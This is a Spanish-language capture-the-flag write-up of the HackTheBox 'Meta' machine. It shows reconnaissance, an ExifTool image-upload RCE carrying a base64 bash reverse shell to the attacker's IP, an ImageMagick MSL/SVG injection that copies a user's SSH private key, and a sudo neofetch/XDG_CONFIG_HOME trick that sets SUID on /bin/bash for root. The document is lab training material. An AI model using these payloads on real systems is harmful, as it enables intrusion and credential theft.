HTB Meta

¡Hola! En esta ocasión vamos a resolver de la maquina Meta de HackTheBox. La máquina es nivel “Medium”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre meta y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

❯ mkhack meta
❯ cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de una traza ICMP.

❯ ping -c 1 10.10.11.140 | grep ttl | awk '{print $4 $6}'
10.10.11.140:ttl=63

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.140 -v -oG ports | grep open
22/tcp open  ssh
80/tcp open  http

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

❯ nmap -p22,80 -sCV 10.10.11.140 -oN allInfo
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-15 23:39 -05
Nmap scan report for 10.10.11.140
Host is up (0.090s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ENUMERACION WEB

Podemos identificar que el puerto 80 tiene una página web en servicio, por lo que revisamos con el explorador la página en cuestión sin lograr evidenciar algún contenido.

Se procede a realizar la enumeración de servicios web identificando un redireccionamiento de la dirección IP a el dominio artcorp.htb.

❯ whatweb http://10.10.11.140
http://10.10.11.140 [301 Moved Permanently] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.10.11.140], RedirectLocation[http://artcorp.htb]
http://artcorp.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.10.11.140], Title[Home]

VIRTUAL HOSTING

Podemos revisar las cabeceras de la petición web con el mismo resultado.

❯ curl -sI http://10.10.11.140
HTTP/1.1 301 Moved Permanently
Date: Thu, 16 Jun 2022 04:40:51 GMT
Server: Apache
Location: http://artcorp.htb
Content-Type: text/html; charset=UTF-8

Como se puede identificar tenemos un virtual hosting, por lo que necesitamos modificar nuestro fichero /etc/hosts

sudo vim /etc/hosts
10.10.11.140    artcorp.htb

FUZZING DE SUBDOMINIOS

Ahora que tenemos alcance a la maquina victima, vamos a realizar un fuzzing por medio de la generación de múltiples peticiones con diferentes terminaciones a la página web, con el fin de detectar subdominios de acceso a información o explotación, identificando potenciales rutas de acceso, vamos a mirar de que se tratan.

❯ wfuzz -c -t 200 --hc=404,301 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.rtcorp.htb" http://artcorp.htb
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://artcorp.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                              
=====================================================================

000001492:   200        9 L      24 W       247 Ch      "dev01"  

Encontramos el subdominio dev01, vamos a agregar el subdominio al fichero /etc/hosts.

sudo vim /etc/hosts
10.10.11.140    artcorp.htb dev01.artcorp.htb

Ahora que tenemos dos subdominios podremos ver un poco más a detalle la página web y así mismo podemos detectar que hay una ruta que nos permite cargar archivos como imágenes en formatos jpg y png.

EXPLOIT

Para esta ocasión vamos a hacer uso de la herramienta JPEG_RCE del github de OneSecCyber

Ingresamos a nuestra carpeta exploit y procedemos a descargar la herramienta.

cd ../exploit/
https://github.com/OneSecCyber/JPEG_RCE
git clone https://github.com/OneSecCyber/JPEG_RCE.git
cd JPEG_RCE

A continuación, codificaremos una reverse shell de bash en base64, esto para que pueda ser interpretado el comando al momento de subir el archivo a la maquina víctima.

echo "bash -c 'bash -i >& /dev/tcp/10.10.14.78/4444 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OC80NDQ0IDA+JjEnCg==

Luego de obtener la codificación, ejecutamos el siguiente comando sugerido en la documentación de la herramienta que descargamos anteriormente.

❯ exiftool -config eval.config runme.jpg -eval='system("echo 'YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OC80NDQ0IDA+JjEnCg==' | base64 -d | bash")'
    1 image files updated

¡Muy bien! Precedemos a subir la imagen runme.jpg a la página víctima, sin embargo, antes de darle clic al botón para finalizar el proceso, debemos hacer un último paso, es necesario ponernos en escucha con la utilidad nc con el puerto que se indica al momento de realizar la reverse shell.

❯ nc -lvnp 4444
listening on [any] 4444 ...

Ahora sí, es momento de subir la imagen y dar clic en el botón para terminar el proceso en la página web y cómo podemos ver, ¡acto seguido obtenemos una shell de la maquina victima!

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.11.140] 56278
bash: cannot set terminal process group (639): Inappropriate ioctl for device
bash: no job control in this shell
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ whoami
whoami
www-data

PROCMON.SH

Excelente! Sin embargo, por el momento solo somos el usuario www-data, así que luego de realizar diversos intentos de enumeraciones para escalar privilegios fallidas, ejecutamos un script denominado procmon.sh el cual nos va a permitir monitorear los comandos se están ejecutando en tiempo real en la máquina.

Vamos a ir a la carpeta /tmp y con la utilidad nano creamos el archivo.

cd /tmp

nano procmon.sh

#!/bin/bash

old_process=$(ps -eo command)

while true; do
        new_process=$(ps -eo command)
        diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon | command | kworker"
        old_process=$new_process
done

Una vez es ejecutado el archivo anterior, encontramos los siguientes comandos que han sido ejecutados, entre ellos se menciona el fichero convert_images.sh

www-data@meta:/tmp$ ./procmon.sh
> /usr/sbin/CRON -f
> /bin/sh -c /usr/local/bin/convert_images.sh
> /bin/bash /usr/local/bin/convert_images.sh
> /usr/local/bin/mogrify -format png *.*
< /usr/sbin/CRON -f
< /bin/sh -c /usr/local/bin/convert_images.sh
< /bin/bash /usr/local/bin/convert_images.sh
< /usr/local/bin/mogrify -format png *.*

Leemos el fichero convet_images.sh para entender su lógica y tomar provecho de ello.

www-data@meta:/tmp$ cat /usr/local/bin/convert_images.sh
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

POC DE INYECCION

Vamos a realizar el escalamiento de privilegios por medio de la llave id_rsa del usuario Thomas, para esto vamos a seguir la guía de insert-script para inyectar y lograr leer el contenido de la llave puesto que no tenemos permisos de lectura a este fichero.

www-data@meta:/tmp$ cd /dev/shm
www-data@meta:/dev/shm$ nano poc.svg

<image authenticate='ff" `cat /home/thomas/.ssh/id_rsa > /dev/shm/id_rsa`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

www-data@meta:/dev/shm$ cp poc.svg /var/www/dev01.artcorp.htb/convert_images/

Finalmente, luego del proceso anterior tenemos premisos de lectura para poder copiar la llave id_rsa de Thomas.

www-data@meta:/dev/shm$ ls -la
total 8
drwxrwxrwt  2 root     root       80 Jun 20 14:10 .
drwxr-xr-x 16 root     root     3080 Jun 19 19:18 ..
-rw-r--r--  1 thomas   thomas   2590 Jun 20 14:10 id_rsa
-rw-r--r--  1 www-data www-data  426 Jun 20 14:07 poc.svg

Estamos listos para ingresar con un nuevo usuario por SSH, para esto vamos a crear un fichero id_rsa y se le asignan los permisos 600, requeridos para poder iniciar sesión con la llave obtenida.

INTRUCIÓN

❯ vim id_rsa
❯ chmod 600 id_rsa
❯ ssh -i id_rsa thomas@10.10.11.140
The authenticity of host '10.10.11.140 (10.10.11.140)' can't be established.
ECDSA key fingerprint is SHA256:KjNiuFNo5CvSMSQO5ETmw1YJPtafmymn6SkBbMLIAFg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.140' (ECDSA) to the list of known hosts.
Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
thomas@meta:~$ 

¡Hemos tenido acceso con el usuario Thomas! Ahora vamos a proceder con la lectura de nuestra primera flag.

thomas@meta:~$ head -c 10 user.txt; echo
74f2b57ad0

¡Genial! Solo nos queda escalar privilegios para lograr obtener la flag de root, iniciamos con la enumeración de comandos y variables permitidas bajo el comando sudo.

ESCALADA DE PRIVILEGIOS

thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

Luego de investigar, encontramos que la variable XDG_CONFIG_HOME es potencial vector de escalamiento junto con el comando neofetch.

  • Entramos al a ruta ~/.config/neofetch
  • Ingresamos al fichero config.conf
  • Agregamos la siguiente línea dando permisos suid a /bin/bash
  • Asignamos la ruta modificada a la variable XDG_CONFIG_HOME
  • Ejecutamos el comando neofetch como sudo
  • Revisamos los permisos suid de /bin/bash
  • Ejecutamos el comando bash -p para tener acceso privilegiado a la maquina
thomas@meta:~/.config/neofetch$ nano config.conf 

chmod u+s /bin/bash

thomas@meta:~/.config/neofetch$ export XDG_CONFIG_HOME=/home/thomas/.config/

thomas@meta:~/.config/neofetch$ sudo neofetch
       _,met$$$$$gg.          root@meta 
    ,g$$$$$$$$$$$$$$$P.       --------- 
  ,g$$P"     """Y$$.".        OS: Debian GNU/Linux 10 (buster) x86_64 
 ,$$P'              `$$$.     Host: VMware Virtual Platform None 
',$$P       ,ggs.     `$$b:   Kernel: 4.19.0-17-amd64 
`d$$'     ,$P"'   .    $$$    Uptime: 19 hours, 15 mins 
 $$P      d$'     ,    $$P    Packages: 495 (dpkg) 
 $$:      $$.   -    ,d$$'    Shell: bash 5.0.3 
 $$;      Y$b._   _,d$P'      CPU: Intel Xeon Gold 5218 (2) @ 2.294GHz 
 Y$$.    `.`"Y$$$$P"'         GPU: VMware SVGA II Adapter 
 `$$b      "-.__              Memory: 167MiB / 1994MiB 
  `Y$$
   `Y$$.                                              
     `$$b.
       `Y$$b.
          `"Y$b._
              `"""

thomas@meta:~/.config/neofetch$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash


thomas@meta:~/.config/neofetch$ bash -p
bash-5.0# whoami
root

¡Logramos tener acceso como root! No queda nada más, vamos a acceder a la carpeta que contiene la flag y eso es todo.

bash-5.0# cd /root
bash-5.0# ls
conf  root.txt
bash-5.0# head -c 10 root.txt; echo
4dea5795d3

¡Hemos logrado completar la maquina Meta de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.